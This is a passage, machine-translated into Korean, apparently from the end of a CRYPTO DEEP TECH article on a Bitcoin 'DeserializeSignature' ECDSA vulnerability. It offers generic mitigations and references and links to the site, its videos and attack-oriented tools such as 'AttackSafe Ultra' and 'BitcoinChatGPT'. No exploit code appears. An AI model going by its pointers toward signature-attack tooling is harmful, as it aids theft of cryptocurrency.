이 기사에서는 DeserializeSignature 취약성을 분석하는 데 사용되는 주요 방법과 도구에 대해 설명했습니다. 정적 및 동적 분석과 머신 러닝을 사용한 퍼즈 테스트를 사용하면  BitcoinChatGPT소프트웨어 개발 및 운영의 다양한 단계에서 취약성을 식별하여 제거할 수 있습니다. 비트코인의 DeserializeSignature 취약성은 네트워크 보안에 심각한 위협을 가합니다. 그러나 이 분야에서 활발한 연구 및 개발을 통해 보호 수준을 높일 수 있는 새로운 전망이 열립니다. 알고리즘 개선, 머신 러닝 사용, 보안 표준 개발 및 교육 프로그램을 통해 위험을 크게 줄이고 안정적인 시스템 운영을 보장할 수 있습니다. 이 연구는 빠르게 진화하는 암호화폐 공간에서 보안 시스템을 지속적으로 모니터링하고 업데이트해야 할 필요성을 강조합니다. 개발자와 사용자를 위한 권장 사항을 따르면 위험을 크게 줄이고 잠재적 공격으로부터 자금을 보호하는 데 도움이 됩니다. 보안은 지속적인 주의와 최신 지식이 필요한 지속적인 프로세스라는 점을 기억하는 것이 중요합니다. 암호화폐 보안 분야의 현재 및 미래 개발은 식별된 문제를 제거하고 새로운 위협을 방지하는 것을 목표로 하며, 이를 통해 암호화폐 시스템의 보다 안정적이고 안전한 운영을 보장할 것입니다. 얻은 결과의 중요성은 시스템의 중요한 단점을 파악하고 이를 제거하기 위한 효과적인 솔루션을 제안하는 데 있습니다. 결과를 해석하면 이 취약점을 제거하는 것이 암호화폐의 보안과 신뢰를 개선하는 데 중요한 단계라는 것을 알 수 있습니다. DeserializeSignature 프로세스는 비트코인 ​​거래의 보안을 보장하는 데 중요합니다. 이 프로세스를 잘못 구현하면 심각한 취약점과 공격으로 이어질 수 있습니다. 서명 구성 요소의 형식과 값을 신중하게 확인하고 신뢰할 수 있는 라이브러리를 사용하고 가능한 런타임 공격을 인식하는 것이 중요합니다. 이것이 암호화폐 거래의 안정적인 보호를 보장하는 유일한 방법입니다.

1. 향상된 데이터 검증

주요 솔루션 중 하나는 역직렬화 중에 데이터 검증 프로세스를 개선하는 것입니다. 여기에는 다음이 포함됩니다.

  • 데이터 형식 확인: 데이터를 처리하기 전에 데이터가 예상 형식인지 확인하세요.
  • 엄격한 데이터 유형 사용: 엄격한 데이터 유형을 사용하면 역직렬화 중에 오류가 발생하는 것을 방지할 수 있습니다.
  • 데이터 길이 확인: 데이터 길이가 예상한 대로인지 확인합니다.

2. 보안 라이브러리 사용

검증되고 안전한 데이터 역직렬화 라이브러리를 사용하면 취약성 위험을 크게 줄일 수 있습니다. 이러한 라이브러리는 개발자 커뮤니티에서 철저히 테스트하고 지원해야 합니다.

3. 다중 레벨 인증 구현

다중 레벨 인증은 시스템에 대한 무단 액세스를 방지하는 데 도움이 될 수 있습니다. 여기에는 다음이 포함됩니다.

  • 2단계 인증(2FA): 사용자의 신원에 대한 추가적인 검증을 요구합니다.
  • 다중 인증(MFA): 여러 인증 방법을 사용하여 보안을 강화합니다.

4. 정기적인 보안 감사

정기적인 보안 감사를 실시하면 공격자가 악용하기 전에 취약점을 식별하고 수정할 수 있습니다. 여기에는 다음이 포함됩니다.

  • 침투 테스트: 시스템의 취약점을 파악하기 위해 공격을 시뮬레이션하는 것입니다.
  • 코드 개정: 잠재적인 취약점을 감지하기 위해 소스 코드를 분석합니다.

5. 업데이트 및 패치

소프트웨어를 정기적으로 업데이트하고 패치하는 것은 보안의 핵심 측면입니다. 여기에는 다음이 포함됩니다.

  • 라이브러리 및 종속성 업데이트: 사용된 모든 라이브러리와 종속성이 최신 버전으로 업데이트되었는지 확인하세요.
  • 취약점 패치: 식별된 취약점에 대한 수정 사항을 신속하게 구현합니다.

참고문헌:

  1. Andreas M. Antonopoulos의 ” Mastering Bitcoin”  – 이 책은 보안과 취약성을 포함한 많은 측면을 다루는 비트코인에 대한 가장 유명한 책 중 하나입니다.
  2. Arvind Narayanan, Joseph Bonneau, Edward Felten, Andrew Miller, Steven Goldfeder가 쓴 “비트코인과 암호화폐 기술”  – 이 책은 보안 문제를 포함하여 비트코인과 다른 암호화폐의 기반 기술에 대한 심층적인 이해를 제공합니다.
  3. 비트코인 개발자 문서  – 비트코인 ​​개발자를 위한 공식 문서로, bitcoin.org 웹사이트에서 제공됩니다. 여기에는 다양한 보안 측면과 취약성에 대한 정보가 포함되어 있습니다.
  4. 비트코인 개선 제안(BIP)  – 비트코인 ​​프로토콜에 대한 다양한 개선 및 변경 사항을 설명하는 문서입니다. 일부는 보안 및 취약성과 관련이 있습니다. BIP 목록은 bitcoin.org에서 찾을 수 있습니다.
  5. Sarah Meiklejohn 등이 쓴 “한 줌의 비트코인: 이름 없는 남성들 사이의 지불의 특성화”  – 이 글은 비트코인 ​​네트워크에서 거래의 익명성과 보안을 탐구합니다.
  6. 사토시 나카모토의 “비트코인: 피어투피어 전자 현금 시스템”  – 비트코인 ​​개념을 설명하는 오리지널 백서. 취약점에 초점을 맞추지는 않았지만, 시스템을 이해하기 위한 기초 문서입니다.
  7. Malte Möser의 “비트코인의 보안과 프라이버시”  – 비트코인 ​​네트워크의 보안과 프라이버시의 다양한 측면을 탐구하는 논문입니다.
  8. Ghassan O. Karame의 “비트코인과 블록체인 보안”  – 비트코인과 블록체인 기술의 보안 문제에 대한 논문.

https://dzen.ru/embed/vqOZbDlW4tBs?from_block=partner&from=zen&mute=0&autoplay=0&tv=0

이 자료는 CRYPTO DEEP TECH 포털을 위해 만들어졌으며,   BITCOIN 암호화폐의   약한   ECDSA  서명에   대한 데이터 및 타원 곡선 암호화 secp256k1의  재정적 보안을 보장합니다    . 소프트웨어 제작자는 자료 사용에 대한 책임을 지지 않습니다.


원천

구글 콜랩

어택세이프 울트라

텔레그램: https://t.me/cryptodeeptech

영상자료 : https://youtu.be/8E2KJeWu4XA

Dzen 비디오 튜토리얼: https://dzen.ru/video/watch/664e34fc8df6514b10da09e9

출처: https://cryptodeeptech.ru/deserialize-signature-vulnerability-bitcoin


비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

 암호 분석

게시물 탐색

От